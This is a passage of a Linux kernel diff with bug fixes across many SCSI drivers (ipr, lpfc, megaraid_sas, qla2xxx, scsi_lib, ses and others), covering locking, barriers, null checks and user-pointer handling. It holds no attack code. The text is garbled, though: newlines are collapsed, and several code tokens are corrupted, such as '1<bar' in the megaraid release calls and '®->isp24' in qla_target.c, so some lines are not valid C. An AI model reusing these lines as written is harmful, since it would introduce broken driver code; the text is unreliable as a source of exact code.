(wait) + dev_err(&ioa_cfg->pdev->dev, "Timed out waiting for aborted commands\n"); + LEAVE; + return wait ? FAILED : SUCCESS; + } + } + } while (wait); + + LEAVE; + return SUCCESS; +} + static int ipr_eh_host_reset(struct scsi_cmnd *cmd) { struct ipr_ioa_cfg *ioa_cfg; @@ -4985,11 +5076,17 @@ static int __ipr_eh_dev_reset(struct scsi_cmnd *scsi_cmd) static int ipr_eh_dev_reset(struct scsi_cmnd *cmd) { int rc; + struct ipr_ioa_cfg *ioa_cfg; + + ioa_cfg = (struct ipr_ioa_cfg *) cmd->device->host->hostdata; spin_lock_irq(cmd->device->host->host_lock); rc = __ipr_eh_dev_reset(cmd); spin_unlock_irq(cmd->device->host->host_lock); + if (rc == SUCCESS) + rc = ipr_wait_for_ops(ioa_cfg, cmd->device, ipr_match_lun); + return rc; } @@ -5167,13 +5264,18 @@ static int ipr_eh_abort(struct scsi_cmnd *scsi_cmd) { unsigned long flags; int rc; + struct ipr_ioa_cfg *ioa_cfg; ENTER; + ioa_cfg = (struct ipr_ioa_cfg *) scsi_cmd->device->host->hostdata; + spin_lock_irqsave(scsi_cmd->device->host->host_lock, flags); rc = ipr_cancel_op(scsi_cmd); spin_unlock_irqrestore(scsi_cmd->device->host->host_lock, flags); + if (rc == SUCCESS) + rc = ipr_wait_for_ops(ioa_cfg, scsi_cmd->device, ipr_match_lun); LEAVE; return rc; } @@ -6049,21 +6151,23 @@ static void ipr_scsi_done(struct ipr_cmnd *ipr_cmd) struct ipr_ioa_cfg *ioa_cfg = ipr_cmd->ioa_cfg; struct scsi_cmnd *scsi_cmd = ipr_cmd->scsi_cmd; u32 ioasc = be32_to_cpu(ipr_cmd->s.ioasa.hdr.ioasc); - unsigned long hrrq_flags; + unsigned long lock_flags; scsi_set_resid(scsi_cmd, be32_to_cpu(ipr_cmd->s.ioasa.hdr.residual_data_len)); if (likely(IPR_IOASC_SENSE_KEY(ioasc) == 0)) { scsi_dma_unmap(scsi_cmd); - spin_lock_irqsave(ipr_cmd->hrrq->lock, hrrq_flags); + spin_lock_irqsave(ipr_cmd->hrrq->lock, lock_flags); list_add_tail(&ipr_cmd->queue, &ipr_cmd->hrrq->hrrq_free_q); scsi_cmd->scsi_done(scsi_cmd); - spin_unlock_irqrestore(ipr_cmd->hrrq->lock, hrrq_flags); + spin_unlock_irqrestore(ipr_cmd->hrrq->lock, lock_flags); } else { - spin_lock_irqsave(ipr_cmd->hrrq->lock, hrrq_flags); + spin_lock_irqsave(ioa_cfg->host->host_lock, lock_flags); + spin_lock(&ipr_cmd->hrrq->_lock); ipr_erp_start(ioa_cfg, ipr_cmd); - spin_unlock_irqrestore(ipr_cmd->hrrq->lock, hrrq_flags); + spin_unlock(&ipr_cmd->hrrq->_lock); + spin_unlock_irqrestore(ioa_cfg->host->host_lock, lock_flags); } } @@ -9503,6 +9607,7 @@ static int ipr_probe_ioa(struct pci_dev *pdev, ioa_cfg->intr_flag = IPR_USE_MSI; else { ioa_cfg->intr_flag = IPR_USE_LSI; + ioa_cfg->clear_isr = 1; ioa_cfg->nvectors = 1; dev_info(&pdev->dev, "Cannot enable MSI.\n"); } diff --git a/drivers/scsi/ipr.h b/drivers/scsi/ipr.h index 07a85ce417828..e045676d8325e 100644 --- a/drivers/scsi/ipr.h +++ b/drivers/scsi/ipr.h @@ -257,7 +257,7 @@ #define IPR_RUNTIME_RESET 0x40000000 #define IPR_IPL_INIT_MIN_STAGE_TIME 5 -#define IPR_IPL_INIT_DEFAULT_STAGE_TIME 15 +#define IPR_IPL_INIT_DEFAULT_STAGE_TIME 30 #define IPR_IPL_INIT_STAGE_UNKNOWN 0x0 #define IPR_IPL_INIT_STAGE_TRANSOP 0xB0000000 #define IPR_IPL_INIT_STAGE_MASK 0xff000000 @@ -1452,6 +1452,7 @@ struct ipr_ioa_cfg { #define IPR_NUM_TRACE_INDEX_BITS 8 #define IPR_NUM_TRACE_ENTRIES (1 << IPR_NUM_TRACE_INDEX_BITS) +#define IPR_TRACE_INDEX_MASK (IPR_NUM_TRACE_ENTRIES - 1) #define IPR_TRACE_SIZE (sizeof(struct ipr_trace_entry) * IPR_NUM_TRACE_ENTRIES) char trace_start[8]; #define IPR_TRACE_START_LABEL "trace" @@ -1578,6 +1579,7 @@ struct ipr_cmnd { struct scsi_device *sdev; } u; + struct completion *eh_comp; struct ipr_hrr_queue *hrrq; struct ipr_ioa_cfg *ioa_cfg; }; diff --git a/drivers/scsi/libfc/fc_fcp.c b/drivers/scsi/libfc/fc_fcp.c index 09c81b2f21698..42c46dc19537a 100644 --- a/drivers/scsi/libfc/fc_fcp.c +++ b/drivers/scsi/libfc/fc_fcp.c @@ -1039,11 +1039,26 @@ static void fc_fcp_cleanup_each_cmd(struct fc_lport *lport, unsigned int id, fc_fcp_pkt_hold(fsp); spin_unlock_irqrestore(&si->scsi_queue_lock, flags); - if (!fc_fcp_lock_pkt(fsp)) { + spin_lock_bh(&fsp->scsi_pkt_lock); + if (!(fsp->state & FC_SRB_COMPL)) { + fsp->state |= FC_SRB_COMPL; + /* + * TODO: dropping scsi_pkt_lock and then reacquiring + * again around fc_fcp_cleanup_cmd() is required, + * since fc_fcp_cleanup_cmd() calls into + * fc_seq_set_resp() and that func preempts cpu using + * schedule. May be schedule and related code should be + * removed instead of unlocking here to avoid scheduling + * while atomic bug. + */ + spin_unlock_bh(&fsp->scsi_pkt_lock); + fc_fcp_cleanup_cmd(fsp, error); + + spin_lock_bh(&fsp->scsi_pkt_lock); fc_io_compl(fsp); - fc_fcp_unlock_pkt(fsp); } + spin_unlock_bh(&fsp->scsi_pkt_lock); fc_fcp_pkt_release(fsp); spin_lock_irqsave(&si->scsi_queue_lock, flags); diff --git a/drivers/scsi/libiscsi.c b/drivers/scsi/libiscsi.c index 5de9469845006..f91d41788ce4b 100644 --- a/drivers/scsi/libiscsi.c +++ b/drivers/scsi/libiscsi.c @@ -717,11 +717,21 @@ __iscsi_conn_send_pdu(struct iscsi_conn *conn, struct iscsi_hdr *hdr, return NULL; } + if (data_size > ISCSI_DEF_MAX_RECV_SEG_LEN) { + iscsi_conn_printk(KERN_ERR, conn, "Invalid buffer len of %u for login task. Max len is %u\n", data_size, ISCSI_DEF_MAX_RECV_SEG_LEN); + return NULL; + } + task = conn->login_task; } else { if (session->state != ISCSI_STATE_LOGGED_IN) return NULL; + if (data_size != 0) { + iscsi_conn_printk(KERN_ERR, conn, "Can not send data buffer of len %u for op 0x%x\n", data_size, opcode); + return NULL; + } + BUG_ON(conn->c_stage == ISCSI_CONN_INITIAL_STAGE); BUG_ON(conn->c_stage == ISCSI_CONN_STOPPED); diff --git a/drivers/scsi/libsas/sas_discover.c b/drivers/scsi/libsas/sas_discover.c index 62b58d38ce2e6..60de66252fa2b 100644 --- a/drivers/scsi/libsas/sas_discover.c +++ b/drivers/scsi/libsas/sas_discover.c @@ -500,6 +500,7 @@ static void sas_revalidate_domain(struct work_struct *work) struct sas_discovery_event *ev = to_sas_discovery_event(work); struct asd_sas_port *port = ev->port; struct sas_ha_struct *ha = port->ha; + struct domain_device *ddev = port->port_dev; /* prevent revalidation from finding sata links in recovery */ mutex_lock(&ha->disco_mutex); @@ -514,8 +515,9 @@ static void sas_revalidate_domain(struct work_struct *work) SAS_DPRINTK("REVALIDATING DOMAIN on port %d, pid:%d\n", port->id, task_pid_nr(current)); - if (port->port_dev) - res = sas_ex_revalidate_domain(port->port_dev); + if (ddev && (ddev->dev_type == SAS_FANOUT_EXPANDER_DEVICE || + ddev->dev_type == SAS_EDGE_EXPANDER_DEVICE)) + res = sas_ex_revalidate_domain(ddev); SAS_DPRINTK("done REVALIDATING DOMAIN on port %d, pid:%d, res 0x%x\n", port->id, task_pid_nr(current), res); diff --git a/drivers/scsi/lpfc/lpfc_init.c b/drivers/scsi/lpfc/lpfc_init.c index cb465b253910b..e6e0679ec8821 100644 --- a/drivers/scsi/lpfc/lpfc_init.c +++ b/drivers/scsi/lpfc/lpfc_init.c @@ -2684,7 +2684,7 @@ lpfc_online(struct lpfc_hba *phba) } vports = lpfc_create_vport_work_array(phba); - if (vports != NULL) + if (vports != NULL) { for (i = 0; i <= phba->max_vports && vports[i] != NULL; i++) { struct Scsi_Host *shost; shost = lpfc_shost_from_vport(vports[i]); @@ -2701,7 +2701,8 @@ lpfc_online(struct lpfc_hba *phba) } spin_unlock_irq(shost->host_lock); } - lpfc_destroy_vport_work_array(phba, vports); + } + lpfc_destroy_vport_work_array(phba, vports); lpfc_unblock_mgmt_io(phba); return 0; diff --git a/drivers/scsi/lpfc/lpfc_sli.c b/drivers/scsi/lpfc/lpfc_sli.c index 572579f87de4f..90861416b9e9f 100644 --- a/drivers/scsi/lpfc/lpfc_sli.c +++ b/drivers/scsi/lpfc/lpfc_sli.c @@ -263,6 +263,16 @@ lpfc_sli4_eq_get(struct lpfc_queue *q) return NULL; q->hba_index = idx; + + /* + * insert barrier for instruction interlock : data from the hardware + * must have the valid bit checked before it can be copied and acted + * upon. Given what was seen in lpfc_sli4_cq_get() of speculative + * instructions allowing action on content before valid bit checked, + * add barrier here as well. May not be needed as "content" is a + * single 32-bit entity here (vs multi word structure for cq's). + */ + mb(); return eqe; } @@ -368,6 +378,17 @@ lpfc_sli4_cq_get(struct lpfc_queue *q) cqe = q->qe[q->hba_index].cqe; q->hba_index = idx; + + /* + * insert barrier for instruction interlock : data from the hardware + * must have the valid bit checked before it can be copied and acted + * upon. Speculative instructions were allowing a bcopy at the start + * of lpfc_sli4_fp_handle_wcqe(), which is called immediately + * after our return, to copy data before the valid bit check above + * was done. As such, some of the copied data was stale. The barrier + * ensures the check is before any data is copied. + */ + mb(); return cqe; } diff --git a/drivers/scsi/megaraid/megaraid_sas.h b/drivers/scsi/megaraid/megaraid_sas.h index b52121358385b..280e769a16867 100644 --- a/drivers/scsi/megaraid/megaraid_sas.h +++ b/drivers/scsi/megaraid/megaraid_sas.h @@ -300,6 +300,8 @@ enum MR_EVT_ARGS { MR_EVT_ARGS_GENERIC, }; + +#define SGE_BUFFER_SIZE 4096 /* * define constants for device list query options */ diff --git a/drivers/scsi/megaraid/megaraid_sas_base.c b/drivers/scsi/megaraid/megaraid_sas_base.c index 4956c99ed90e5..6ced6a398d600 100644 --- a/drivers/scsi/megaraid/megaraid_sas_base.c +++ b/drivers/scsi/megaraid/megaraid_sas_base.c @@ -933,7 +933,7 @@ megasas_issue_blocked_abort_cmd(struct megasas_instance *instance, abort_fr->abort_mfi_phys_addr_hi = 0; cmd->sync_cmd = 1; - cmd->cmd_status = 0xFF; + cmd->cmd_status = ENODATA; instance->instancet->issue_dcmd(instance, cmd); @@ -3470,7 +3470,7 @@ static int megasas_init_fw(struct megasas_instance *instance) /* Find first memory bar */ bar_list = pci_select_bars(instance->pdev, IORESOURCE_MEM); instance->bar = find_first_bit(&bar_list, sizeof(unsigned long)); - if (pci_request_selected_regions(instance->pdev, instance->bar, + if (pci_request_selected_regions(instance->pdev, 1<bar, "megasas: LSI")) { printk(KERN_DEBUG "megasas: IO memory region busy!\n"); return -EBUSY; @@ -3602,7 +3602,7 @@ static int megasas_init_fw(struct megasas_instance *instance) } instance->max_sectors_per_req = instance->max_num_sge * - PAGE_SIZE / 512; + SGE_BUFFER_SIZE / 512; if (tmp_sectors && (instance->max_sectors_per_req > tmp_sectors)) instance->max_sectors_per_req = tmp_sectors; @@ -3640,7 +3640,7 @@ static int megasas_init_fw(struct megasas_instance *instance) iounmap(instance->reg_set); fail_ioremap: - pci_release_selected_regions(instance->pdev, instance->bar); + pci_release_selected_regions(instance->pdev, 1<bar); return -EINVAL; } @@ -3661,7 +3661,7 @@ static void megasas_release_mfi(struct megasas_instance *instance) iounmap(instance->reg_set); - pci_release_selected_regions(instance->pdev, instance->bar); + pci_release_selected_regions(instance->pdev, 1<bar); } /** @@ -5051,6 +5051,9 @@ static int megasas_mgmt_compat_ioctl_fw(struct file *file, unsigned long arg) int i; int error = 0; compat_uptr_t ptr; + unsigned long local_raw_ptr; + u32 local_sense_off; + u32 local_sense_len; if (clear_user(ioc, sizeof(*ioc))) return -EFAULT; @@ -5068,9 +5071,15 @@ static int megasas_mgmt_compat_ioctl_fw(struct file *file, unsigned long arg) * sense_len is not null, so prepare the 64bit value under * the same condition. */ - if (ioc->sense_len) { + if (get_user(local_raw_ptr, ioc->frame.raw) || + get_user(local_sense_off, &ioc->sense_off) || + get_user(local_sense_len, &ioc->sense_len)) + return -EFAULT; + + + if (local_sense_len) { void __user **sense_ioc_ptr = - (void __user **)(ioc->frame.raw + ioc->sense_off); + (void __user **)((u8*)local_raw_ptr + local_sense_off); compat_uptr_t *sense_cioc_ptr = (compat_uptr_t *)(cioc->frame.raw + cioc->sense_off); if (get_user(ptr, sense_cioc_ptr) || diff --git a/drivers/scsi/megaraid/megaraid_sas_fusion.c b/drivers/scsi/megaraid/megaraid_sas_fusion.c index a7d56687bfcab..d478088ce5cf6 100644 --- a/drivers/scsi/megaraid/megaraid_sas_fusion.c +++ b/drivers/scsi/megaraid/megaraid_sas_fusion.c @@ -2020,7 +2020,7 @@ megasas_release_fusion(struct megasas_instance *instance) iounmap(instance->reg_set); - pci_release_selected_regions(instance->pdev, instance->bar); + pci_release_selected_regions(instance->pdev, 1<bar); } /** diff --git a/drivers/scsi/mvsas/mv_sas.c b/drivers/scsi/mvsas/mv_sas.c index c9e244984e30e..2da1959ff2f6a 100644 --- a/drivers/scsi/mvsas/mv_sas.c +++ b/drivers/scsi/mvsas/mv_sas.c @@ -441,14 +441,11 @@ static u32 mvs_get_ncq_tag(struct sas_task *task, u32 *tag) static int mvs_task_prep_ata(struct mvs_info *mvi, struct mvs_task_exec_info *tei) { - struct sas_ha_struct *sha = mvi->sas; struct sas_task *task = tei->task; struct domain_device *dev = task->dev; struct mvs_device *mvi_dev = dev->lldd_dev; struct mvs_cmd_hdr *hdr = tei->hdr; struct asd_sas_port *sas_port = dev->port; - struct sas_phy *sphy = dev->phy; - struct asd_sas_phy *sas_phy = sha->sas_phy[sphy->number]; struct mvs_slot_info *slot; void *buf_prd; u32 tag = tei->tag, hdr_tag; @@ -468,7 +465,7 @@ static int mvs_task_prep_ata(struct mvs_info *mvi, slot->tx = mvi->tx_prod; del_q = TXQ_MODE_I | tag | (TXQ_CMD_STP << TXQ_CMD_SHIFT) | - (MVS_PHY_ID << TXQ_PHY_SHIFT) | + ((sas_port->phy_mask & TXQ_PHY_MASK) << TXQ_PHY_SHIFT) | (mvi_dev->taskfileset << TXQ_SRS_SHIFT); mvi->tx[mvi->tx_prod] = cpu_to_le32(del_q); @@ -990,6 +987,8 @@ static void mvs_slot_free(struct mvs_info *mvi, u32 rx_desc) static void mvs_slot_task_free(struct mvs_info *mvi, struct sas_task *task, struct mvs_slot_info *slot, u32 slot_idx) { + if (!slot) + return; if (!slot->task) return; if (!sas_protocol_ata(task->task_proto)) diff --git a/drivers/scsi/qla2xxx/qla_isr.c b/drivers/scsi/qla2xxx/qla_isr.c index d2a4c75e5b8fb..813e9d8ba351e 100644 --- a/drivers/scsi/qla2xxx/qla_isr.c +++ b/drivers/scsi/qla2xxx/qla_isr.c @@ -523,8 +523,9 @@ qla2x00_async_event(scsi_qla_host_t *vha, struct rsp_que *rsp, uint16_t *mb) struct device_reg_2xxx __iomem *reg = &ha->iobase->isp; struct device_reg_24xx __iomem *reg24 = &ha->iobase->isp24; struct device_reg_82xx __iomem *reg82 = &ha->iobase->isp82; - uint32_t rscn_entry, host_pid; + uint32_t rscn_entry, host_pid, tmp_pid; unsigned long flags; + fc_port_t *fcport = NULL; /* Setup to process RIO completion. */ handle_cnt = 0; @@ -918,6 +919,20 @@ qla2x00_async_event(scsi_qla_host_t *vha, struct rsp_que *rsp, uint16_t *mb) if (qla2x00_is_a_vp_did(vha, rscn_entry)) break; + /* + * Search for the rport related to this RSCN entry and mark it + * as lost. + */ + list_for_each_entry(fcport, &vha->vp_fcports, list) { + if (atomic_read(&fcport->state) != FCS_ONLINE) + continue; + tmp_pid = fcport->d_id.b24; + if (fcport->d_id.b24 == rscn_entry) { + qla2x00_mark_device_lost(vha, fcport, 0, 0); + break; + } + } + atomic_set(&vha->loop_down_timer, 0); vha->flags.management_server_logged_in = 0; diff --git a/drivers/scsi/qla2xxx/qla_target.c b/drivers/scsi/qla2xxx/qla_target.c index f033b191a022d..e6884940d1070 100644 --- a/drivers/scsi/qla2xxx/qla_target.c +++ b/drivers/scsi/qla2xxx/qla_target.c @@ -1514,12 +1514,10 @@ static inline void qlt_unmap_sg(struct scsi_qla_host *vha, static int qlt_check_reserve_free_req(struct scsi_qla_host *vha, uint32_t req_cnt) { - struct qla_hw_data *ha = vha->hw; - device_reg_t __iomem *reg = ha->iobase; uint32_t cnt; if (vha->req->cnt < (req_cnt + 2)) { - cnt = (uint16_t)RD_REG_DWORD(®->isp24.req_q_out); + cnt = (uint16_t)RD_REG_DWORD(vha->req->req_q_out); ql_dbg(ql_dbg_tgt, vha, 0xe00a, "Request ring circled: cnt=%d, vha->->ring_index=%d, " diff --git a/drivers/scsi/qla2xxx/tcm_qla2xxx.c b/drivers/scsi/qla2xxx/tcm_qla2xxx.c index 66b0b26a1381e..c81716042073d 100644 --- a/drivers/scsi/qla2xxx/tcm_qla2xxx.c +++ b/drivers/scsi/qla2xxx/tcm_qla2xxx.c @@ -762,7 +762,16 @@ static void tcm_qla2xxx_clear_nacl_from_fcport_map(struct qla_tgt_sess *sess) pr_debug("fc_rport domain: port_id 0x%06x\n", nacl->nport_id); node = btree_remove32(&lport->lport_fcport_map, nacl->nport_id); - WARN_ON(node && (node != se_nacl)); + if (WARN_ON(node && (node != se_nacl))) { + /* + * The nacl no longer matches what we think it should be. + * Most likely a new dynamic acl has been added while + * someone dropped the hardware lock. It clearly is a + * bug elsewhere, but this bit can't make things worse. + */ + btree_insert32(&lport->lport_fcport_map, nacl->nport_id, + node, GFP_ATOMIC); + } pr_debug("Removed from fcport_map: %p for WWNN: 0x%016LX, port_id: 0x%06x\n", se_nacl, nacl->nport_wwnn, nacl->nport_id); @@ -1456,7 +1465,7 @@ static int tcm_qla2xxx_check_initiator_node_acl( /* * Finally register the new FC Nexus with TCM */ - __transport_register_session(se_nacl->se_tpg, se_nacl, se_sess, sess); + transport_register_session(se_nacl->se_tpg, se_nacl, se_sess, sess); return 0; } diff --git a/drivers/scsi/scsi_error.c b/drivers/scsi/scsi_error.c index f43de1e56420a..5ba69ea8eb92e 100644 --- a/drivers/scsi/scsi_error.c +++ b/drivers/scsi/scsi_error.c @@ -898,7 +898,6 @@ static int scsi_request_sense(struct scsi_cmnd *scmd) */ void scsi_eh_finish_cmd(struct scsi_cmnd *scmd, struct list_head *done_q) { - scmd->device->host->host_failed--; scmd->eh_eflags = 0; list_move_tail(&scmd->eh_entry, done_q); } @@ -1689,8 +1688,10 @@ static void scsi_restart_operations(struct Scsi_Host *shost) * is no point trying to lock the door of an off-line device. */ shost_for_each_device(sdev, shost) { - if (scsi_device_online(sdev) && sdev->locked) + if (scsi_device_online(sdev) && sdev->was_reset && sdev->locked) { scsi_eh_lock_door(sdev); + sdev->was_reset = 0; + } } /* @@ -1847,8 +1848,17 @@ int scsi_error_handler(void *data) * We never actually get interrupted because kthread_run * disables signal delivery for the created thread. */ - while (!kthread_should_stop()) { + while (true) { + /* + * The sequence in kthread_stop() sets the stop flag first + * then wakes the process. To avoid missed wakeups, the task + * should always be in a non running state before the stop + * flag is checked + */ set_current_state(TASK_INTERRUPTIBLE); + if (kthread_should_stop()) + break; + if ((shost->host_failed == 0 && shost->host_eh_scheduled == 0) || shost->host_failed != shost->host_busy) { SCSI_LOG_ERROR_RECOVERY(1, @@ -1881,6 +1891,9 @@ int scsi_error_handler(void *data) else scsi_unjam_host(shost); + /* All scmds have been handled */ + shost->host_failed = 0; + /* * Note - if the above fails completely, the action is to take * individual devices offline and flush the queue of any diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c index 86d522004a208..60031e15d562b 100644 --- a/drivers/scsi/scsi_lib.c +++ b/drivers/scsi/scsi_lib.c @@ -546,66 +546,6 @@ void scsi_run_host_queues(struct Scsi_Host *shost) static void __scsi_release_buffers(struct scsi_cmnd *, int); -/* - * Function: scsi_end_request() - * - * Purpose: Post-processing of completed commands (usually invoked at end - * of upper level post-processing and scsi_io_completion). - * - * Arguments: cmd - command that is complete. - * error - 0 if I/O indicates success, < 0 for I/O error. - * bytes - number of bytes of completed I/O - * requeue - indicates whether we should requeue leftovers. - * - * Lock status: Assumed that lock is not held upon entry. - * - * Returns: cmd if requeue required, NULL otherwise. - * - * Notes: This is called for block device requests in order to - * mark some number of sectors as complete. - * - * We are guaranteeing that the request queue will be goosed - * at some point during this call. - * Notes: If cmd was requeued, upon return it will be a stale pointer. - */ -static struct scsi_cmnd *scsi_end_request(struct scsi_cmnd *cmd, int error, - int bytes, int requeue) -{ - struct request_queue *q = cmd->device->request_queue; - struct request *req = cmd->request; - - /* - * If there are blocks left over at the end, set up the command - * to queue the remainder of them. - */ - if (blk_end_request(req, error, bytes)) { - /* kill remainder if no retrys */ - if (error && scsi_noretry_cmd(cmd)) - blk_end_request_all(req, error); - else { - if (requeue) { - /* - * Bleah. Leftovers again. Stick the - * leftovers in the front of the - * queue, and goose the queue again. - */ - scsi_release_buffers(cmd); - scsi_requeue_command(q, cmd); - cmd = NULL; - } - return cmd; - } - } - - /* - * This will goose the queue request function at the end, so we don't - * need to worry about launching another command. - */ - __scsi_release_buffers(cmd, 0); - scsi_next_command(cmd); - return NULL; -} - static inline unsigned int scsi_sgtable_index(unsigned short nents) { unsigned int index; @@ -735,16 +675,9 @@ static int __scsi_error_from_host_byte(struct scsi_cmnd *cmd, int result) * * Returns: Nothing * - * Notes: This function is matched in terms of capabilities to - * the function that created the scatter-gather list. - * In other words, if there are no bounce buffers - * (the normal case for most drivers), we don't need - * the logic to deal with cleaning up afterwards. - * - * We must call scsi_end_request(). This will finish off - * the specified number of sectors. If we are done, the - * command block will be released and the queue function - * will be goosed. If we are not done then we have to + * Notes: We will finish off the specified number of sectors. If we + * are done, the command block will be released and the queue + * function will be goosed. If we are not done then we have to * figure out what to do next: * * a) We can call scsi_requeue_command(). The request @@ -753,7 +686,7 @@ static int __scsi_error_from_host_byte(struct scsi_cmnd *cmd, int result) * be used if we made forward progress, or if we want * to switch from READ(10) to READ(6) for example. * - * b) We can call scsi_queue_insert(). The request will + * b) We can call __scsi_queue_insert(). The request will * be put back on the queue and retried using the same * command as before, possibly after a delay. * @@ -815,6 +748,14 @@ void scsi_io_completion(struct scsi_cmnd *cmd, unsigned int good_bytes) scsi_next_command(cmd); return; } + } else if (blk_rq_bytes(req) == 0 && result && !sense_deferred) { + /* + * Certain non BLOCK_PC requests are commands that don't + * actually transfer anything (FLUSH), so cannot use + * good_bytes != blk_rq_bytes(req) as the signal for an error. + * This sets the error explicitly for the problem case. + */ + error = __scsi_error_from_host_byte(cmd, result); } /* no bidi support for !REQ_TYPE_BLOCK_PC yet */ @@ -849,12 +790,28 @@ void scsi_io_completion(struct scsi_cmnd *cmd, unsigned int good_bytes) } /* - * A number of bytes were successfully read. If there - * are leftovers and there is some kind of error - * (result != 0), retry the rest. + * special case: failed zero length commands always need to + * drop down into the retry code. Otherwise, if we finished + * all bytes in the request we are done now. */ - if (scsi_end_request(cmd, error, good_bytes, result == 0) == NULL) - return; + if (!(blk_rq_bytes(req) == 0 && error) && + !blk_end_request(req, error, good_bytes)) + goto next_command; + + /* + * Kill remainder if no retrys. + */ + if (error && scsi_noretry_cmd(cmd)) { + blk_end_request_all(req, error); + goto next_command; + } + + /* + * If there had been no error, but we have leftover bytes in the + * requeues just queue the command up again. + */ + if (result == 0) + goto requeue; error = __scsi_error_from_host_byte(cmd, result); @@ -976,7 +933,6 @@ void scsi_io_completion(struct scsi_cmnd *cmd, unsigned int good_bytes) switch (action) { case ACTION_FAIL: /* Give up and fail the remainder of the request */ - scsi_release_buffers(cmd); if (!(req->cmd_flags & REQ_QUIET)) { if (description) scmd_printk(KERN_INFO, cmd, "%s\n", @@ -986,12 +942,11 @@ void scsi_io_completion(struct scsi_cmnd *cmd, unsigned int good_bytes) scsi_print_sense("", cmd); scsi_print_command(cmd); } - if (blk_end_request_err(req, error)) - scsi_requeue_command(q, cmd); - else - scsi_next_command(cmd); - break; + if (!blk_end_request_err(req, error)) + goto next_command; + /*FALLTHRU*/ case ACTION_REPREP: + requeue: /* Unprep the request and put it back at the head of the queue. * A new command will be prepared and issued. */ @@ -1007,6 +962,11 @@ void scsi_io_completion(struct scsi_cmnd *cmd, unsigned int good_bytes) __scsi_queue_insert(cmd, SCSI_MLQUEUE_DEVICE_BUSY, 0); break; } + return; + +next_command: + __scsi_release_buffers(cmd, 0); + scsi_next_command(cmd); } static int scsi_init_sgtable(struct request *req, struct scsi_data_buffer *sdb, @@ -1234,9 +1194,11 @@ int scsi_prep_state_check(struct scsi_device *sdev, struct request *req) "rejecting I/O to dead device\n"); ret = BLKPREP_KILL; break; - case SDEV_QUIESCE: case SDEV_BLOCK: case SDEV_CREATED_BLOCK: + ret = BLKPREP_DEFER; + break; + case SDEV_QUIESCE: /* * If the devices is blocked we defer normal commands. */ diff --git a/drivers/scsi/scsi_sysfs.c b/drivers/scsi/scsi_sysfs.c index 8111b97723019..edb2c8f17fe7c 100644 --- a/drivers/scsi/scsi_sysfs.c +++ b/drivers/scsi/scsi_sysfs.c @@ -789,7 +789,7 @@ sdev_store_queue_ramp_up_period(struct device *dev, return -EINVAL; sdev->queue_ramp_up_period = msecs_to_jiffies(period); - return period; + return count; } static struct device_attribute sdev_attr_queue_ramp_up_period = @@ -1038,31 +1038,25 @@ static void __scsi_remove_target(struct scsi_target *starget) void scsi_remove_target(struct device *dev) { struct Scsi_Host *shost = dev_to_shost(dev->parent); - struct scsi_target *starget, *last = NULL; + struct scsi_target *starget, *last_target = NULL; unsigned long flags; - /* remove targets being careful to lookup next entry before - * deleting the last - */ +restart: spin_lock_irqsave(shost->host_lock, flags); list_for_each_entry(starget, &shost->__targets, siblings) { - if (starget->state == STARGET_DEL) + if (starget->state == STARGET_DEL || + starget == last_target) continue; if (starget->dev.parent == dev || &starget->dev == dev) { - /* assuming new targets arrive at the end */ kref_get(&starget->reap_ref); + last_target = starget; spin_unlock_irqrestore(shost->host_lock, flags); - if (last) - scsi_target_reap(last); - last = starget; __scsi_remove_target(starget); - spin_lock_irqsave(shost->host_lock, flags); + scsi_target_reap(starget); + goto restart; } } spin_unlock_irqrestore(shost->host_lock, flags); - - if (last) - scsi_target_reap(last); } EXPORT_SYMBOL(scsi_remove_target); diff --git a/drivers/scsi/sd.c b/drivers/scsi/sd.c index f8a994a69e701..2414099bd9dc1 100644 --- a/drivers/scsi/sd.c +++ b/drivers/scsi/sd.c @@ -3122,8 +3122,8 @@ static int sd_suspend(struct device *dev) struct scsi_disk *sdkp = scsi_disk_get_from_dev(dev); int ret = 0; - if (!sdkp) - return 0; /* this can happen */ + if (!sdkp) /* E.g.: runtime suspend following sd_remove() */ + return 0; if (sdkp->WCE) { sd_printk(KERN_NOTICE, sdkp, "Synchronizing SCSI cache\n"); @@ -3147,6 +3147,9 @@ static int sd_resume(struct device *dev) struct scsi_disk *sdkp = scsi_disk_get_from_dev(dev); int ret = 0; + if (!sdkp) /* E.g.: runtime resume at the start of sd_probe() */ + return 0; + if (!sdkp->device->manage_start_stop) goto done; diff --git a/drivers/scsi/ses.c b/drivers/scsi/ses.c index eba183c428cf3..3643bbf5456d3 100644 --- a/drivers/scsi/ses.c +++ b/drivers/scsi/ses.c @@ -70,6 +70,7 @@ static int ses_probe(struct device *dev) static int ses_recv_diag(struct scsi_device *sdev, int page_code, void *buf, int bufflen) { + int ret; unsigned char cmd[] = { RECEIVE_DIAGNOSTIC, 1, /* Set PCV bit */ @@ -78,9 +79,26 @@ static int ses_recv_diag(struct scsi_device *sdev, int page_code, bufflen & 0xff, 0 }; + unsigned char recv_page_code; - return scsi_execute_req(sdev, cmd, DMA_FROM_DEVICE, buf, bufflen, + ret = scsi_execute_req(sdev, cmd, DMA_FROM_DEVICE, buf, bufflen, NULL, SES_TIMEOUT, SES_RETRIES, NULL); + if (unlikely(!ret)) + return ret; + + recv_page_code = ((unsigned char *)buf)[0]; + + if (likely(recv_page_code == page_code)) + return ret; + + /* successful diagnostic but wrong page code. This happens to some + * USB devices, just print a message and pretend there was an error */ + + sdev_printk(KERN_ERR, sdev, + "Wrong diagnostic page; asked for %d got %u\n", + page_code, recv_page_code); + + return -EINVAL; } static int ses_send_diag(struct scsi_device *sdev, int page_code, @@ -436,7 +454,15 @@ static void ses_enclosure_data_process(struct enclosure_device *edev, if (desc_ptr) desc_ptr += len; - if (addl_desc_ptr) + if (addl_desc_ptr && + /* only find additional descriptions for specific devices */ + (type_ptr[0] == ENCLOSURE_COMPONENT_DEVICE || + type_ptr[0] == ENCLOSURE_COMPONENT_ARRAY_DEVICE || + type_ptr[0] == ENCLOSURE_COMPONENT_SAS_EXPANDER || + /* these elements are optional */ + type_ptr[0] == ENCLOSURE_COMPONENT_SCSI_TARGET_PORT || + type_ptr[0] == ENCLOSURE_COMPONENT_SCSI_INITIATOR_PORT || + type_ptr[0] == ENCLOSURE_COMPONENT_CONTROLLER_ELECTRONICS)) addl_desc_ptr += addl_desc_ptr[1] + 2; } diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c index 749260969f8c6..254a4e75a4da6 100644 --- a/drivers/scsi/sg.c +++ b/drivers/scsi/sg.c @@ -522,7 +522,7 @@ static ssize_t sg_new_read(Sg_fd * sfp, char __user *buf, size_t count, Sg_request * srp) { sg_io_hdr_t *hp = &srp->header; - int err = 0; + int err = 